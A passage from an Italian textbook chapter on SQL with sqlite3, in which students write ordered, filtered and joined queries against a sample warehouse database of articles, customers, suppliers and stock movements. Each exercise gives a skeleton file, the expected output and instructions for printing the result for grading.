Si prepari il file '`interrogazione-fornitori-clienti-01.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple delle relazioni '**`Fornitori`**' e '**`Clienti`**', limitatamente agli attributi: '**`Fornitore`**' (nel caso della relazione '**`Fornitori`**') o '**`Cliente`**' (nel caso della relazione '**`Clienti`**'), '**`RagioneSociale`**', '**`Telefono`**' e '**`Fax`**'.

Figura 90.27. Scheletro del file '`interrogazione-fornitori-clienti-01.sql`', da completare.

```
-- Interrogazione delle relazioni "Fornitori" e "Clienti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-fornitori-clienti-01.sql

.headers on
.mode column

SELECT …
SELECT …
```

Una volta completato e salvato il file '`interrogazione-fornitori-clienti-01.sql`', se ne controlli il funzionamento con la base di dati:

`$` **`sqlite3 mag.db < interrogazione-fornitori-clienti-01.sql`** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Fornitore   RagioneSociale  Telefono     Fax
----------  --------------  -----------  -----------
1           Tizio Tizi      0422,111111  0422,222222
2           Caio Cai        0423,222222  0423,333333
3           Sempronio Semp  0422,333333  0422,444444
Cliente     RagioneSociale  Telefono     Fax
----------  --------------  -----------  -----------
1           Mevio Mevi      0422,444444  0422,555555
2           Filano Filani   0439,555555  0439,666666
3           Martino Martin  0438,666666  0438,777777
```

Se il risultato è corretto, si proceda con la stampa:

`$` **`sqlite3 mag.db < interrogazione-fornitori-clienti-01.sql`** ↩
↪ **`| lpr`** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-fornitori-clienti.sql`'.

90.2.6 Conclusione

Il file '`prova-stampa-articoli-e-causali.sql`', non serve più nelle sezioni successive, pertanto va eliminato.

90.3 Interrogazione ordinata di una relazione

Attraverso l'istruzione '**`SELECT`**', aggiungendo l'opzione '**`ORDERED BY`**', è possibile specificare gli attributi secondo i quali ordinare il risultato. In mancanza dell'indicazione di questa opzione, l'elenco delle tuple si ottiene secondo un ordine «casuale», che solitamente coincide con la sequenza di inserimento.

90.3.1 Interrogazione ordinata

A titolo di esempio, si vuole ottenere l'elenco delle tuple della relazione '**`Articoli`**', in ordine di descrizione. Si può utilizzare il programma '**`sqlite3`**' in modo interattivo:

```
$ sqlite3 mag.db [Invio]
```

```
SQLite version …
Enter ".help" for instructions
```

```
sqlite> .headers on [Invio]
```

```
sqlite> .mode column [Invio]
```

```
sqlite> SELECT * FROM Articoli ORDER BY Descrizione; [Invio]
```

```
Articolo    Descrizione  UM          Listino     ScortaMin
----------  -----------  ----------  ----------  ----------
101         CD-R 16x     pz          0.5         500
102         CD-R 52x     pz          1           500
201         CD-RW 4x     pz          1           200
202         CD-RW 8x     pz          1.5         200
402         DVD+R 16x    pz          2           200
401         DVD+R 8x     pz          1           200
601         DVD+RW 8x    pz          2           200
302         DVD-R 16x    pz          2           200
301         DVD-R 8x     pz          1           200
501         DVD-RW 8x    pz          2           200
1           Dischetti d  pz          0.2         500
2           Dischetti d  pz          0.25        500
```

Con la relazione '**`Articoli`**', potrebbe essere interessante un ordinamento per listino, ma in questo caso si aggiunge anche la descrizione, quando il prezzo di listino risulta uguale:

```
sqlite> SELECT * FROM Articoli ORDER BY Listino, Descrizione; [Invio]
```

```
Articolo    Descrizione                    UM          Listino     ScortaMin
----------  -----------------------------  ----------  ----------  ----------
1           Dischetti da 9 cm 1440 Kibyte  pz          0.2         500
2           Dischetti da 9 cm 1440 Kibyte  pz          0.25        500
101         CD-R 16x                       pz          0.5         500
102         CD-R 52x                       pz          1           500
201         CD-RW 4x                       pz          1           200
401         DVD+R 8x                       pz          1           200
301         DVD-R 8x                       pz          1           200
202         CD-RW 8x                       pz          1.5         200
402         DVD+R 16x                      pz          2           200
601         DVD+RW 8x                      pz          2           200
302         DVD-R 16x                      pz          2           200
501         DVD-RW 8x                      pz          2           200
```

sqlite> **.quit** [*Invio*]

Si osservi che l'ordinamento dipende dal tipo di informazione che l'attributo relativo può contenere. Per esempio, nel caso della relazione '**Articoli**', il riordino per descrizione avviene in modo lessicografico, mentre il riordino per listino avviene in base al valore numerico.

90.3.2 Verifica sull'interrogazione ordinata della relazione «Articoli»

Si prepari il file '`interrogazione-articoli-02.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple della relazione '**Articoli**', ordinate in base al livello di scorta minima e di descrizione; inoltre, si vogliono ottenere solo alcuni attributi, secondo la sequenza: '**ScortaMin**', '**Descrizione**', '**Articolo**'.

Figura 90.32. Scheletro del file '`interrogazione-articoli-02.sql`', da completare.

```
-- Interrogazione della relazione "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-articoli-02.sql

.headers on
.mode column

SELECT …
```

Una volta completato e salvato il file '`interrogazione-articoli-02.sql`', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < interrogazione-articoli-02.sql** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
ScortaMin   Descrizione  Articolo
----------  -----------  ----------
200         CD-RW 4x     201
200         CD-RW 8x     202
```

```
200         DVD+R 16x    402
200         DVD+R 8x     401
200         DVD+RW 8x    601
200         DVD-R 16x    302
200         DVD-R 8x     301
200         DVD-RW 8x    501
500         CD-R 16x     101
500         CD-R 52x     102
500         Dischetti d  1
500         Dischetti d  2
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-articoli-02.sql | lpr** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-articoli-02.sql`'.

90.3.3 Verifica sull'interrogazione ordinata della relazione «Clienti»

Si prepari il file '`interrogazione-clienti-01.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple della relazione '**`Clienti`**', ordinate in base alla denominazione della ragione sociale, limitatamente agli attributi '**`Cliente`**' e '**`RagioneSociale`**'.

Figura 90.34. Scheletro del file '`interrogazione-clienti-01.sql`', da completare.

```
-- Interrogazione della relazione "Clienti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-clienti-01.sql

.headers on
.mode column

SELECT …
```

Una volta completato e salvato il file '`interrogazione-clienti-01.sql`', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < interrogazione-clienti-01.sql** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Cliente     RagioneSociale
----------  --------------
2           Filano Filani
3           Martino Martin
1           Mevio Mevi
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-clienti-01.sql | lpr** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-clienti-01.sql`'.

90.3.4 Verifica sull'interrogazione ordinata della relazione «Causali»

Si prepari il file '`interrogazione-causali-01.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple della relazione '**`Causali`**', ordinate in base al fatto che si tratti di movimenti in diminuzione o in aumento (l'attributo '**`Variazione`**').

Figura 90.36. Scheletro del file '`interrogazione-causali-01.sql`', da completare.

```
-- Interrogazione della relazione "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-causali-01.sql

.headers on
.mode column

SELECT …
```

Una volta completato e salvato il file '`interrogazione-causali-01.sql`', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < interrogazione-clienti-01.sql** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Causale     Descrizione                 Variazione
----------  --------------------------  ----------
12          Scarico ad altro magazzino  -1
10          Scarico a produzione        -1
8           Rettifica diminuzione acqu  -1
6           Rettifica aumento vendite   -1
4           Reso a fornitore            -1
2           Scarico per vendita         -1
13          Saldo iniziale              1
11          Carico da altro magazzino   1
9           Carico da produzione        1
7           Rettifica diminuzione vend  1
5           Rettifica aumento acquisto  1
3           Reso da cliente             1
1           Carico per acquisto         1
```

Se il risultato è corretto, si proceda con la stampa:

```
$ sqlite3 mag.db < interrogazione-causali-01.sql | lpr[Invio]
```

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-causali-01.sql`'.

90.4 Interrogazione selettiva di una relazione

Attraverso l'istruzione '**`SELECT`**', aggiungendo l'opzione '**`WHERE`**', è possibile specificare una condizione per la selezione delle tuple desiderate. In mancanza dell'indicazione di questa opzione, l'elenco delle tuple è sempre completo. La parola chiave '**`WHERE`**' precede un'espressione logica, che viene valutata per ogni tupla: se l'espressione risulta valida (*Vero*), allora la tupla viene presa in considerazione.

In queste lezioni non viene descritto in modo dettagliato come scrivere delle espressioni logiche; tuttavia, vengono raccolte qui delle tabelle riassuntive per la loro realizzazione. Possono essere usate in modo intuitivo, ma nelle verifiche non si richiede altro che utilizzare o modificare leggermente degli esempi già mostrati.

Tabella 90.38. Operatori di confronto.

Operatore e operandi	Descrizione
op1 `=` ***op2***	*Vero* se gli operandi si equivalgono.
op1 `<>` ***op2***	*Vero* se gli operandi sono differenti.
op1 `<` ***op2***	*Vero* se il primo operando è minore del secondo.
op1 `>` ***op2***	*Vero* se il primo operando è maggiore del secondo.
op1 `<=` ***op2***	*Vero* se il primo operando è minore o uguale al secondo.
op1 `>=` ***op2***	*Vero* se il primo operando è maggiore o uguale al secondo.

Tabella 90.39. Operatori logici.

Operatore e operandi	Descrizione
`NOT` ***op***	Inverte il risultato logico dell'operando.
op1 `AND` ***op2***	*Vero* se entrambi gli operandi restituiscono il valore *Vero*.
op1 `OR` ***op2***	*Vero* se almeno uno degli operandi restituisce il valore *Vero*.

Tabella 90.40. Espressioni sulle stringhe di caratteri.

Espressioni e modelli	Descrizione
stringa `LIKE` ***modello***	Restituisce *Vero* se il modello corrisponde alla stringa. Si osservi che SQLite non accetta la forma '**`IS LIKE`**'.
stringa `NOT LIKE` ***modello***	Restituisce *Vero* se il modello non corrisponde alla stringa. Si osservi che SQLite non accetta la forma '**`IS NOT LIKE`**'.
`_`	Rappresenta un carattere qualsiasi.
`%`	Rappresenta una sequenza indeterminata di caratteri.

Tabella 90.41. Espressioni di verifica dei valori indeterminati.

Operatori	Descrizione
espressione `IS NULL`	Restituisce *Vero* se l'espressione genera un risultato indeterminato.
espressione `IS NOT NULL`	Restituisce *Vero* se l'espressione non genera un risultato indeterminato.

Tabella 90.42. Espressioni per la verifica dell'appartenenza di un valore a un intervallo o a un elenco.

Operatori e operandi	Descrizione
op1 `IN (`***elenco***`)`	*Vero* se il primo operando è contenuto nell'elenco.
op1 `NOT IN (`***elenco***`)`	*Vero* se il primo operando non è contenuto nell'elenco.
op1 `BETWEEN` ***op2*** `AND` ***op3***	*Vero* se il primo operando è compreso tra il secondo e il terzo.
op1 `NOT BETWEEN` ***op2*** `AND` ***op3***	*Vero* se il primo operando non è compreso nell'intervallo.

90.4.1 Interrogazione selettiva

A titolo di esempio, si vuole ottenere l'elenco delle tuple della relazione '**`Articoli`**', selezionando solo quelle che riportano un prezzo di listino maggiore o uguale a 1,00 €. Si può utilizzare il programma '**`sqlite3`**' in modo interattivo:

```
$ sqlite3 mag.db [Invio]

  SQLite version …
  Enter ".help" for instructions

sqlite> .headers on [Invio]

sqlite> .mode column [Invio]

sqlite> SELECT * FROM Articoli WHERE Listino >= 1; [Invio]
```

```
Articolo    Descrizione  UM          Listino     ScortaMin
----------  -----------  ----------  ----------  ----------
102         CD-R 52x     pz          1           500
201         CD-RW 4x     pz          1           200
202         CD-RW 8x     pz          1.5         200
301         DVD-R 8x     pz          1           200
302         DVD-R 16x    pz          2           200
401         DVD+R 8x     pz          1           200
402         DVD+R 16x    pz          2           200
501         DVD-RW 8x    pz          2           200
601         DVD+RW 8x    pz          2           200
```

La condizione di selezione potrebbe essere più articolata; per esempio si potrebbe decidere di selezionare gli articoli che hanno un prezzo di listino maggiore o uguale a 1,00 € e che hanno una descrizione che inizia con «DVD»:

```
sqlite> SELECT * FROM Articoli [Invio]
   ...>         WHERE Listino >= 1 AND Descrizione LIKE 'DVD%'; [Invio]
```

```
Articolo    Descrizione  UM          Listino     ScortaMin
----------  -----------  ----------  ----------  ----------
301         DVD-R 8x     pz          1           200
302         DVD-R 16x    pz          2           200
401         DVD+R 8x     pz          1           200
402         DVD+R 16x    pz          2           200
501         DVD-RW 8x    pz          2           200
601         DVD+RW 8x    pz          2           200
```

Come sempre, si conclude il funzionamento interattivo di '**`sqlite3`**' con il comando '**`.quit`**':

```
sqlite> .quit [Invio]
```

90.4.2 Verifica sull'interrogazione selettiva della relazione «Articoli»

Si prepari il file '`interrogazione-articoli-03.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco delle tuple della relazione '**`Articoli`**', corrispondenti a dei «DVD», che abbiano un prezzo minore o uguale a 1,00 € (l'operatore da usare per rappresentare il confronto «minore o uguale» è '**`<=`**').

Figura 90.46. Scheletro del file ‘`interrogazione-articoli-03.sql`’, da completare.

```
-- Interrogazione della relazione "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-articoli-03.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
```

Una volta completato e salvato il file ‘`interrogazione-articoli-03.sql`’, se ne controlli il funzionamento con la base di dati:

$ **`sqlite3 mag.db < interrogazione-articoli-03.sql`** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Articolo    Descrizione  UM          Listino     ScortaMin
----------  -----------  ----------  ----------  ----------
301         DVD-R 8x     pz          1           200
401         DVD+R 8x     pz          1           200
```

Se il risultato è corretto, si proceda con la stampa:

$ **`sqlite3 mag.db < interrogazione-articoli-03.sql | lpr`** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file ‘`interrogazione-articoli-03.sql`’.

90.4.3 Verifica sull'interrogazione selettiva e ordinata della relazione «Articoli»

Si prepari il file ‘`interrogazione-articoli-04.sql`’, seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco ordinato per livello di scorta minima delle tuple della relazione ‘**`Articoli`**’, che corrispondono a dei «CD».

Figura 90.48. Scheletro del file '`interrogazione-articoli-04.sql`', da completare.

```
-- Interrogazione della relazione "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-articoli-04.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
       ORDER BY …
```

Una volta completato e salvato il file '`interrogazione-articoli-04.sql`', se ne controlli il funzionamento con la base di dati:

$ **`sqlite3 mag.db < interrogazione-articoli-04.sql`** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Articolo    Descrizione  UM          Listino     ScortaMin
----------  -----------  ----------  ----------  ----------
202         CD-RW 8x     pz          1.5         200
201         CD-RW 4x     pz          1           200
102         CD-R 52x     pz          1           500
101         CD-R 16x     pz          0.5         500
```

Se il risultato è corretto, si proceda con la stampa:

$ **`sqlite3 mag.db < interrogazione-articoli-04.sql | lpr`** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-articoli-04.sql`'.

90.4.4 Verifica sull'interrogazione selettiva della relazione «Causali»

Si prepari il file '`interrogazione-causali-02.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco delle tuple della relazione '**`Causali`**' che comportano un aumento (contabile) della quantità di un articolo in magazzino. Le causali che rappresentano un aumento della quantità sono quelle che, nell'attributo '**`Variazione`**' hanno il valore 1 (ovvero +1); pertanto, per selezionare le tuple in questione, è sufficiente verificare che questo valore sia esattamente pari a uno (utilizzando l'operatore '**`=`**').

Figura 90.50. Scheletro del file ‘interrogazione-causali-02.sql’, da completare.

```
-- Interrogazione della relazione "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-causali-02.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
```

Una volta completato e salvato il file ‘interrogazione-causali-02.sql’, se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < interrogazione-causali-02.sql** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Causale     Descrizione          Variazione
----------  -------------------  ----------
1           Carico per acquisto  1
3           Reso da cliente      1
5           Rettifica aumento a  1
7           Rettifica diminuzio  1
9           Carico da produzion  1
11          Carico da altro mag  1
13          Saldo iniziale       1
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-causali-02.sql | lpr** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file ‘interrogazione-causali-02.sql’.

90.5 Interrogazioni simultanee di più relazioni

Quando si realizzano delle relazioni, spesso si considerano dei collegamenti tra queste, per evitare di ripetere le stesse informazioni in relazioni differenti. La relazione ‘**Movimenti**’, creata all’inizio di queste lezioni, contiene diversi attributi che, in pratica, fanno riferimento a tuple di altre relazioni.

Figura 90.52. La relazione '**`Movimenti`**', già apparsa nella figura 90.15.

Movi-mento	Articolo	Causale	Data	Cliente	Fornito-re	Quantita	Valore
1	2	1	2010-01-15	NULL	3	10000	100,00
2	2	2	2010-01-16	2	NULL	1000	10,00
3	102	1	2010-01-17	NULL	2	1000	200,00
4	102	2	2010-01-18	1	NULL	100	20,00
5	401	1	2010-01-19	NULL	1	1000	200,00
6	401	2	2010-01-20	3	NULL	200	40,00
7	401	4	2010-01-20	NULL	1	100	20,00
8	102	4	2010-01-20	NULL	2	100	20,00
9	601	1	2010-01-21	NULL	3	2000	1000,00
10	601	2	2010-01-25	1	NULL	1000	500,00

Intuitivamente si comprende che i dati usati per creare il collegamento con un'altra relazione, devono essere sufficienti a individuare le tuple in modo univoco. Quindi, sulla base di questa univocità, si possono collegare effettivamente i dati attraverso delle interrogazioni che coinvolgono tutte le relazioni interessate, per generare un listato con le informazioni desiderate.

90.5.1 Interrogazione simultanea delle relazioni «Movimenti» e «Articoli»

Con l'ausilio di un programma per la scrittura e modifica di file di testo puro, si crei il file '`prova-interrogazione-movimenti-articoli.sql`', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Interrogazione delle relazioni "Movimenti" e "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-interrogazione-movimenti-articoli.sql

.headers on
.mode column

SELECT Movimenti.Data, Articoli.Descrizione,
       Movimenti.Causale, Movimenti.Quantita
       FROM Movimenti, Articoli
       WHERE Movimenti.Articolo = Articoli.Articolo;
```

Come si può vedere, per evitare ambiguità, i nomi degli attributi sono preceduti dal nome della relazione a cui appartengono, separati da un punto.

Si controlli di avere scritto il file '`prova-interrogazione-movimenti-articoli.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

`$` **`sqlite3 mag.db < prova-interrogazione-movimenti-articoli.sql`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Data        Descrizione                           Causale     Quantita
----------  ------------------------------------  ----------  ----------
2010-01-15  Dischetti da 9 cm 1440 Kibyte colorati 1          10000
2010-01-16  Dischetti da 9 cm 1440 Kibyte colorati 2          1000
2010-01-17  CD-R 52x                              1           1000
2010-01-18  CD-R 52x                              2           100
2010-01-19  DVD+R 8x                              1           1000
2010-01-20  DVD+R 8x                              2           200
2010-01-20  DVD+R 8x                              4           100
2010-01-20  CD-R 52x                              4           100
2010-01-21  DVD+RW 8x                             1           2000
2010-01-25  DVD+RW 8x                             2           1000
```

90.5.2 Interrogazione simultanea delle relazioni «Movimenti», «Articoli» e «Causali»

Si riprenda il file '`prova-interrogazione-movimenti-articoli.sql`' e lo si modifichi in modo da avere il contenuto seguente:

```
-- Interrogazione delle relazioni "Movimenti", "Articoli" e "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-interrogazione-movimenti-articoli.sql

.headers on
.mode column

SELECT Movimenti.Data, Articoli.Descrizione,
       Causali.Descrizione
       FROM Movimenti, Articoli, Causali
       WHERE Movimenti.Articolo = Articoli.Articolo
         AND Movimenti.Causale = Causali.Causale;
```

Si controlli di avere modificato il file '`prova-interrogazione-movimenti-articoli.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

`$` **`sqlite3 mag.db < prova-interrogazione-movimenti-articoli.sql`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Data        Descrizione                           Descrizione
----------  ------------------------------------  -------------------
2010-01-15  Dischetti da 9 cm 1440 Kibyte colorati Carico per acquisto
2010-01-16  Dischetti da 9 cm 1440 Kibyte colorati Scarico per vendita
2010-01-17  CD-R 52x                              Carico per acquisto
2010-01-18  CD-R 52x                              Scarico per vendita
2010-01-19  DVD+R 8x                              Carico per acquisto
```

```
2010-01-20  DVD+R 8x                                Scarico per vendita
2010-01-20  DVD+R 8x                                Reso a fornitore
2010-01-20  CD-R 52x                                Reso a fornitore
2010-01-21  DVD+RW 8x                               Carico per acquisto
2010-01-25  DVD+RW 8x                               Scarico per vendita
```

90.5.3 Verifica sull'interrogazione simultanea delle relazioni «Movimenti» e «Causali»

Si prepari il file '`interrogazione-movimenti-causali-01.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple per le quali si possa stabilire un abbinamento in base al codice della causale. Precisamente, si vuole ottenere l'attributo '**`Articolo`**' dalla relazione '**`Movimenti`**'; l'attributo '**`Descrizione`**' dalla relazione '**`Causali`**'; l'attributo '**`Data`**' dalla relazione '**`Movimenti`**'.

Figura 90.57. Scheletro del file '`interrogazione-movimenti-causali-01.sql`', da completare.

```
-- Interrogazione delle relazioni "Movimenti" e "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-movimenti-causali-01.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
```

Una volta completato e salvato il file '`interrogazione-movimenti-causali-01.sql`', se ne controlli il funzionamento con la base di dati:

$ **`sqlite3 mag.db < interrogazione-movimenti-causali-01.sql`** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Articolo    Descrizione          Data
----------  -------------------  ----------
2           Carico per acquisto  2010-01-15
2           Scarico per vendita  2010-01-16
102         Carico per acquisto  2010-01-17
102         Scarico per vendita  2010-01-18
401         Carico per acquisto  2010-01-19
401         Scarico per vendita  2010-01-20
401         Reso a fornitore     2010-01-20
102         Reso a fornitore     2010-01-20
601         Carico per acquisto  2010-01-21
601         Scarico per vendita  2010-01-25
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-01.sql | lpr** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-movimenti-causali-01.sql`'.

90.5.4 Verifica sull'interrogazione simultanea delle relazioni «Movimenti», «Causali» e «Clienti»

Si prepari il file '`interrogazione-movimenti-causali-clienti-01.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple per le quali si possa stabilire un abbinamento in base al codice della causale e in base al codice del cliente. Precisamente, si vuole ottenere l'attributo '**`Articolo`**' dalla relazione '**`Movimenti`**'; l'attributo '**`Descrizione`**' dalla relazione '**`Causali`**'; l'attributo '**`Data`**' dalla relazione '**`Movimenti`**'; l'attributo '**`RagioneSociale`**' dalla relazione '**`Clienti`**'.

Figura 90.59. Scheletro del file '`interrogazione-movimenti-causali-clienti-01.sql`', da completare.

```
-- Interrogazione delle relazioni "Movimenti", "Causali" e "Clienti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-movimenti-causali-clienti-01.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
```

Una volta completato e salvato il file '`interrogazione-movimenti-causali-clienti-01.sql`', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-clienti-01.sql** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Articolo    Descrizione          Data        RagioneSociale
----------  -------------------  ----------  --------------
2           Scarico per vendita  2010-01-16  Filano Filani
102         Scarico per vendita  2010-01-18  Mevio Mevi
401         Scarico per vendita  2010-01-20  Martino Martin
601         Scarico per vendita  2010-01-25  Mevio Mevi
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-clienti-01.sql** ↩
↪ **| lpr** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file

'interrogazione-movimenti-causali-clienti-01.sql'.

90.5.5 Verifica sull'interrogazione ordinata e simultanea delle relazioni «Movimenti», «Causali» e «Clienti»

Si prepari il file 'interrogazione-movimenti-causali-clienti-02.sql', che deve avere gli stessi requisiti della verifica precedente, facendo in modo, però, che il risultato dell'interrogazione avvenga in modo ordinato, in base alla ragione sociale dei clienti.

Figura 90.61. Scheletro del file 'interrogazione-movimenti-causali-clienti-02.sql', da completare.

```
-- Interrogazione delle relazioni "Movimenti", "Causali" e "Clienti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-movimenti-causali-clienti-02.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
       ORDER BY …
```

Una volta completato e salvato il file 'interrogazione-movimenti-causali-clienti-02.sql', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-clienti-02.sql** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Articolo    Descrizione           Data        RagioneSociale
----------  --------------------  ----------  --------------
2           Scarico per vendita   2010-01-16  Filano Filani
401         Scarico per vendita   2010-01-20  Martino Martin
601         Scarico per vendita   2010-01-25  Mevio Mevi
102         Scarico per vendita   2010-01-18  Mevio Mevi
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-clienti-02.sql** ↩
↪ **| lpr** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file 'interrogazione-movimenti-causali-clienti-02.sql'.

90.6 Interrogazioni simultanee di più relazioni e alias

Quando si interrogano simultaneamente più relazioni, può succedere che il risultato che si ottiene contenga degli attributi di relazioni differenti, ma con lo stesso nome, oppure potrebbe non essere abbastanza esplicito il suo contenuto. Nell'istruzione '**`SELECT`**' con cui si esegue l'interrogazione, è possibile dichiarare dei nomi alternativi agli attributi, secondo le modalità descritte in questa sezione.

90.6.1 Interrogazione simultanea delle relazioni «Movimenti», «Articoli» e «Causali»

Si riprenda il file '`prova-interrogazione-movimenti-articoli.sql`' e lo si modifichi in modo da avere il contenuto seguente:

```
-- Interrogazione delle relazioni "Movimenti", "Articoli" e "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-interrogazione-movimenti-articoli.sql

.headers on
.mode column

SELECT Movimenti.Data,
       Articoli.Descrizione AS Articolo,
       Causali.Descrizione AS Causale
       FROM Movimenti, Articoli, Causali
       WHERE Movimenti.Articolo = Articoli.Articolo
         AND Movimenti.Causale = Causali.Causale;
```

Si controlli di avere modificato il file '`prova-interrogazione-movimenti-articoli.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

$ **`sqlite3 mag.db < prova-interrogazione-movimenti-articoli.sql`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Data        Articolo                                Causale
----------  --------------------------------------  -------------------
2010-01-15  Dischetti da 9 cm 1440 Kibyte colorati  Carico per acquisto
2010-01-16  Dischetti da 9 cm 1440 Kibyte colorati  Scarico per vendita
2010-01-17  CD-R 52x                                Carico per acquisto
2010-01-18  CD-R 52x                                Scarico per vendita
2010-01-19  DVD+R 8x                                Carico per acquisto
2010-01-20  DVD+R 8x                                Scarico per vendita
2010-01-20  DVD+R 8x                                Reso a fornitore
2010-01-20  CD-R 52x                                Reso a fornitore
2010-01-21  DVD+RW 8x                               Carico per acquisto
2010-01-25  DVD+RW 8x                               Scarico per vendita
```

Come si può osservare, l'attributo '**`Descrizione`**' della relazione '**`Articoli`**' appare con il nome '**`Articolo`**', mentre l'attributo '**`Descrizione`**' della relazione '**`Causali`**' appare con il nome '**`Causale`**'.

90.6.2 Verifica sull'interrogazione simultanea delle relazioni «Movimenti» e «Causali»

Si prepari il file '`interrogazione-movimenti-causali-02.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple per le quali si possa stabilire un abbinamento in base al codice della causale. Precisamente, si vuole ottenere l'attributo '**`Articolo`**' dalla relazione '**`Movimenti`**'; l'attributo '**`Descrizione`**' dalla relazione '**`Causali`**'; l'attributo '**`Data`**' dalla relazione '**`Movimenti`**'. Inoltre, si vuole che l'attributo '**`Descrizione`**' della relazione '**`Causali`**', appaia con il nome '**`Causale`**'.

Figura 90.65. Scheletro del file '`interrogazione-movimenti-causali-02.sql`', da completare.

```
-- Interrogazione delle relazioni "Movimenti" e "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-movimenti-causali-02.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
```

Una volta completato e salvato il file '`interrogazione-movimenti-causali-02.sql`', se ne controlli il funzionamento con la base di dati:

$ **`sqlite3 mag.db < interrogazione-movimenti-causali-02.sql`** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Articolo    Causale              Data
----------  -------------------  ----------
2           Carico per acquisto  2010-01-15
2           Scarico per vendita  2010-01-16
102         Carico per acquisto  2010-01-17
102         Scarico per vendita  2010-01-18
401         Carico per acquisto  2010-01-19
401         Scarico per vendita  2010-01-20
401         Reso a fornitore     2010-01-20
102         Reso a fornitore     2010-01-20
601         Carico per acquisto  2010-01-21
601         Scarico per vendita  2010-01-25
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-02.sql | lpr** [*Invio*]

